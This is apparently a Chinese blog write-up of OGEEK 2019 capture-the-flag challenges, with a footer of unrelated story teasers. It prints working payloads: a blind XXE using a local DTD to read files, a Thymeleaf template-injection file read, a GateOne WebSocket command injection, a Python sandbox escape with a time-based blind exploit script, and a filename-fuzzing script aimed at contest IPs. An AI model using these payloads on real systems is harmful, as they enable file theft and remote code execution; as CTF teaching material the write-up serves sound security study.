OGEEK 2019

import('0'+'s').getattribute('sy'+'stem')('whoami')
import.getattribute('func_clo'+'sure')[0].cell_contents('o'+'s').getattribute('sy'+'stem')('sleep 5')

LookAround

  • 知识点:Blind XXE
  • 解题步骤
    打开页面查看源代码,发现有一个这个定时器,每 10 秒发个 xml 请求

测试一下这个接口,无回显,同时屏蔽了外网访问,就考虑来利用本地的 DTD 玩 XXE,题目提示了镜像名,下个同名镜像,创建个容器,寻找系统中的 dtd文档

文章下面的视频就可以知道 tomcat:8-jre8 中的fonts.dtd可用,根据这篇文档中的payload进行改造得到flag:
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

    <!ENTITY % expr 'aaa)>
        <!ENTITY &#x25; file SYSTEM "file:///flag">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        <!ELEMENT aa (bb'>

    %local_dtd;
]>
<message></message>

参考资料:Blind XXE详解与Google CTF一道题分析

render

  • 知识点:SSTI
  • 解题步骤
    查看源代码,发现关键代码:

访问api页面,发现错误页面是 Spring boot 的

测试到 [[${1+1}]]的时候返回了 2,说明是 Thymeleaf 渲染了。Thymeleaf 能拿两个中括号来取表达式的值

参考:https://dotblogs.com.tw/cylcode/2018/09/21/170510 读取文件


构造payload:{"content":"[[${new java.io.BufferedReader(new java.io.FileReader(\"/flag\")).readLine()}]]"}

注意点:由于是json格式,所以请求头要加上类型,确保后端解析正常,否则会包415错误
<?php
error_reporting(0);
include "../../utils/utils.php";
if(isset($_REQUEST['filename'])  and preg_match("/^\w{8}$/", $_REQUEST['filename'])){   //\w 匹配字母或数字或下划线或汉字 等价于 '[^A-Za-z0-9_]' 匹配八次 
    $filename = strtolower($_REQUEST['filename']);  //strtolower() 函数把字符串转换为小写
    touch("backup/{$filename}.txt");  //创建指定文件
    unlink(glob("backup/*")[0]); //glob() 函数返回匹配指定模式的文件名或目录
}
else{
    highlight_file(__FILE__);
}
?>

正则匹配的是字母数字和下划线,固定长度为8,排序后会删除第一个文件,所以我们
写入的文件排序在后面的话是不会被删除的,所以猜测,列表中存在存在某个不会被删除
的文件,而这个目录又叫backup,所以猜测,可能会有隐藏的源码备份文件,而如果我们写入的文件排在固定文件之前,我们的文件会被删除。所以利用这个特性来fuzz固定文件的文件名,最后得到文件名为 aefebab8.txt

import requests
filename = ""
letters=['1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','u','p','q','r','s','t','o','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0']
flag = 7
for j in range(8):
    for i in letters:
        tempname = filename + i + "z"*(flag)
        # print(tempname)
        requests.get("http://47.107.255.20:18088/users/0a0d713b3e0e7d16e0ba9b7a425f7c07/",params={"filename": tempname})
        r = requests.get("http://47.107.255.20:18088/users/0a0d713b3e0e7d16e0ba9b7a425f7c07/backup/" + tempname + ".txt")
        # print(r.status_code)
        if r.status_code != 404:
            print(tempname)
            filename = filename + i
            flag=flag-1
            break

访问aefebab8.txt,其中内容为

<!-- src/8a66c58a168c9dc0fb622365cbe340fc.php -->

<?php
include "../utils/utils.php";

$sandbox = Get_Sandbox();

if(isset($_REQUEST['method'])){
    $method = $_REQUEST['method'];

    if($method == 'info'){
        phpinfo();
    }elseif($method == 'download' and isset($_REQUEST['url'])){
        $url = $_REQUEST['url'];
        $url_parse = parse_url($url);//解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分

        if(!isset($url_parse['scheme']) or $url_parse['scheme'] != 'http' or !isset($url_parse['host']) or $url_parse['host'] == ""){
            die("something wrong");
        }

        $path_info = pathinfo($url);

        if(strpos($path_info['filename'], ".") !== false){
            die("something wrong");
        }

        if(!Check_Ext($path_info['extension'])){
            die("something wrong");
        }

        $response = GetFileInfoFromHeader($url);

        $save_dir = "../users/${sandbox}/uploads/{$response['type']}/";

        if(is_dir(dirname($save_dir)) and !is_dir($save_dir)){
            mkdir($save_dir, 0755);
        }

        $save_path = "{$save_dir}{$path_info['filename']}.{$response['ext']}";
        echo "/uploads/{$response['type']}/{$path_info['filename']}.{$response['ext']}";

        if(!is_dir($save_path)){
            file_put_contents($save_path, $response['content']);
        }
    }
}

给了源文件地址和源码,,通过源文件查看phpinfo,可以得到网站根路径,以及知道有disable_function

Easy Realworld Challenge

因为题目上有一个log viewer,可以查看之前选手的操作记录(还是视频的),跟着telnet://172.18.0.3 用户ctf,密码ctf,之后利用PSAV方式于服务器建立连接接收数据。

然后新建一个终端到生成的端口号上接收数据

PSAV生成的例如:(172,18,0,3,131,116),那么生成的端口号就是:131*256+116 = 33652

参考资料:ftp命令

Easy Realworld Challenge 2

寻找函数触发的地方,在WebSocket中触发执行

在ssh 连接发起之后会获取一下当前连接目标的 ssh 指纹,也就触发这个命令了。所以我们就可以在这个时候从客户端发出一个恶意消息,服务端解析之后直接格式化到命令里就可以 RCE 了。

GateOne来发送WebSocket,从而触发执行。所以我们可以自己构造 go.ws.send(JSON.stringify({'terminal:ssh_get_host_fingerprint': message}));语句,通过port来进行命令拼接,从而实现在终端上执行任意命令

GateOne.ws.send('{"terminal:ssh_get_host_fingerprint":{"host":"www.baidu.com","port":"22;ls;"}}')

所以拼接一下cat /ppppp_f_l_4_g_mmm文件的命令就可以拿到flag了

PyBox

  • 考点:Python沙箱逃逸,时间盲注
  • 解题过程
    连接NC ,是一个Python的命令行交互

经过测试,没有输出回显,还过滤了os,eval,system等函数,用闭包抽出来外部参数的变量 (Python3 所以 func_closure 和 closure 都可以使) 来引用 os 模块,再调用 system,因为 system 和 os 被屏蔽了,需要用加号连接起来绕过屏蔽。测试执行 sleep 5 成功了。

本地测试用cut命令逐位读取文件

创建布尔盲注条件语句:

exp如下:

from pwn import *
context.log_level = "debug"
sh = remote("47.112.108.17",12312, timeout=300)
sh.recvuntil(">>>")
result = ""
for i in range(1, 46):
       for j in range(31, 255):
              sendtime = time.time()
              sh.sendline("__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -b " + str(i) + " /home/flag`; [ $a = \"" + chr(j) + "\" ] && sleep 3 ')")
              sh.recvuntil(">>>")
              recvtime = time.time()
              if recvtime - sendtime > 2:
                     print("get!")
                     result += chr(j)
                     print(result)
                     break
       if j == 254:
              print(str(i) + " unknown!")
              break
print(result)

2019

  • 解题过程
    解压得到一张图片,图片分析工具发现存在lsb隐写

提取信息,先进行base64,然后进行base85解码,这完全是坑啊

得到字符串QW8obWdIW11XTyxyOFVTM0dNMlIySSVZQjdzdA==,base64解密如下

base85解码如下

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,036评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,046评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,411评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,622评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,661评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,521评论 1 304
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,288评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,200评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,644评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,837评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,953评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,673评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,281评论 3 329
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,889评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,011评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,119评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,901评论 2 355

推荐阅读更多精彩内容

  • 0×00 背景 近期看到OWASP TOP 10 2017 版中添加了XXE的内容便对XXE的一些知识进行梳理和总...
    查无此人asdasd阅读 1,047评论 0 2
  • title: XXE学习date: 2019-03-22 20:51:41tags:- XXEcategories...
    Miracle778阅读 3,080评论 0 5
  • 本文包括:1、Listener简介2、Servlet监听器3、监听三个域对象创建和销毁的事件监听器4、监听三个域对...
    廖少少阅读 6,076评论 6 28
  • 一. Java基础部分.................................................
    wy_sure阅读 3,811评论 0 11
  • 想要得到什么就一定要付出什么,根据能量守恒定律,付出才可能会有收获,今年最重要的目标就是把体重减下来,把自己的各项...
    是否之间阅读 191评论 0 0